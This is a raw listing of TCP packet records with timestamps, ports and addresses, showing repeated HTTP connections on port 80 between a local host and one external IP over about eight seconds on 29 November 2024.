Nov 29, 2024 01:52:47.163403988 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.163497925 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.163506031 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.163589001 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.264324903 CET	80	49795	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.264401913 CET	49795	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.264528036 CET	49795	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.272908926 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.272963047 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.272984982 CET	49794	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.384785891 CET	80	49795	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.392900944 CET	80	49794	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.523617029 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.643708944 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.643776894 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.643878937 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.643923044 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.643990040 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.644011021 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.764162064 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.764175892 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.764185905 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.764202118 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.764209986 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.764245987 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.764254093 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.764269114 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.764309883 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.764312983 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.764341116 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.764358997 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.764388084 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.764439106 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.764447927 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.764456034 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.764496088 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.764511108 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.884401083 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.884416103 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.884424925 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.884429932 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.884488106 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.884519100 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:47.925566912 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:47.925688982 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:48.045567036 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.050472021 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:48.093575001 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.093908072 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:48.213680983 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.301539898 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.301609993 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:48.495009899 CET	80	49795	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.498486996 CET	49795	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:48.498586893 CET	49795	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:48.549650908 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.550456047 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:48.561347008 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.562459946 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:48.613429070 CET	49797	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:48.618522882 CET	80	49795	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.670423031 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.682544947 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.682590961 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.682647943 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.682676077 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.682765961 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.682816029 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.682920933 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.733382940 CET	80	49797	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.733488083 CET	49797	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:48.733674049 CET	49797	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:48.781579971 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.781660080 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:48.781790972 CET	49796	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:48.853552103 CET	80	49797	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.901935101 CET	80	49796	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:48.956073999 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.076039076 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.076231956 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.076442003 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.076653004 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.076750994 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.076837063 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.196419001 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.196716070 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.196724892 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.196732998 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.196789980 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.196814060 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.196819067 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.196822882 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.196870089 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.196914911 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.196969032 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.197035074 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.197052956 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.197088003 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.197094917 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.197097063 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.197143078 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.197170019 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.197242975 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.316790104 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.316936016 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.316946983 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.317035913 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.317079067 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.318445921 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.357584953 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.357695103 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.477757931 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.478494883 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.521610022 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.641551018 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.642476082 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.847544909 CET	80	49798	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.847634077 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.872634888 CET	80	49797	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:49.872718096 CET	49797	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.879651070 CET	49797	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.939614058 CET	49798	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.994611979 CET	49799	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:49.999505997 CET	80	49797	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:50.114650965 CET	80	49799	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:50.114736080 CET	49799	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:50.401408911 CET	49799	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:50.521311998 CET	80	49799	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:50.765111923 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:50.885129929 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:50.885212898 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:50.885485888 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:50.885580063 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:50.885669947 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:50.885693073 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.005652905 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.005672932 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.005727053 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.005781889 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.005819082 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.005829096 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.005880117 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.005916119 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.005924940 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.005975008 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.006010056 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.006019115 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.006074905 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.006176949 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.006186008 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.006189108 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.006237984 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.126363039 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.126415014 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.126429081 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.126463890 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.126481056 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.126533031 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.126610041 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.126657009 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.173552036 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.173676968 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.253834009 CET	80	49799	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.253942013 CET	49799	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.253979921 CET	49799	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.293626070 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.293759108 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.341556072 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.341628075 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.364219904 CET	49801	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.373900890 CET	80	49799	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.457561016 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.484266043 CET	80	49801	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.484380960 CET	49801	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.484558105 CET	49801	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.553551912 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.553623915 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.604692936 CET	80	49801	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.801568031 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.801636934 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.839320898 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.839407921 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:51.921686888 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.959434986 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.959448099 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.959527969 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.959654093 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.959670067 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.959784031 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:51.959793091 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.068810940 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.070473909 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.070501089 CET	49800	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.190579891 CET	80	49800	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.219118118 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.339250088 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.339334011 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.339449883 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.339513063 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.339584112 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.339601040 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.459394932 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.459688902 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.459745884 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.459755898 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.459805965 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.459867954 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.459909916 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.460033894 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.460064888 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.460139990 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.460165024 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.460190058 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.460253954 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.460290909 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.460328102 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.460386038 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.579835892 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.579879045 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.579907894 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.579921007 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.579922915 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.579952002 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.579969883 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.579991102 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.621592999 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.621721983 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.668721914 CET	80	49801	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.668893099 CET	49801	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.668958902 CET	49801	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.741715908 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.741857052 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.784785986 CET	49803	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.788861990 CET	80	49801	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.789539099 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.789596081 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.904808998 CET	80	49803	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:52.904885054 CET	49803	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.905103922 CET	49803	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:52.905503988 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.001589060 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.001671076 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:53.025291920 CET	80	49803	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.253772020 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.254467964 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:53.293814898 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.294495106 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:53.374711990 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.414551020 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.414716959 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.414726973 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.414736032 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.414849043 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.414859056 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.414964914 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.414983034 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.523556948 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.526468039 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:53.610239029 CET	49802	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:53.730093002 CET	80	49802	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.781455994 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:53.901459932 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:53.901525021 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:53.901676893 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:53.901699066 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:53.901760101 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:53.901781082 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.022779942 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.023957014 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.023967028 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.023974895 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.023983955 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.023992062 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.023999929 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.024008989 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.024019957 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.024028063 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.024038076 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.024043083 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.024045944 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.024070978 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.024084091 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.024105072 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.144243956 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.144264936 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.144323111 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.144361973 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.144371986 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.144408941 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.144428968 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.150824070 CET	80	49803	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.150875092 CET	49803	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.150935888 CET	49803	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.185581923 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.185689926 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.253906012 CET	49806	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.270840883 CET	80	49803	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.305522919 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.305697918 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.349566936 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.349862099 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.373902082 CET	80	49806	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.374212980 CET	49806	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.374226093 CET	49806	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.469573975 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.494227886 CET	80	49806	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.561608076 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.561894894 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.813647032 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.813698053 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.872448921 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.872545004 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:54.934815884 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.992723942 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.992736101 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.992743969 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.992753983 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.992819071 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.992827892 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.992955923 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.993093967 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:54.993141890 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.102607965 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.102669001 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.102741003 CET	49804	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.222701073 CET	80	49804	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.253010035 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.373059034 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.377204895 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.377326965 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.377355099 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.377420902 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.377444983 CET	49808	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:55.497334957 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.497412920 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.497464895 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.497512102 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.497587919 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.497597933 CET	80	49808	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:55.497634888 CET	49808	80	192.168.2.4	72.52.178.23
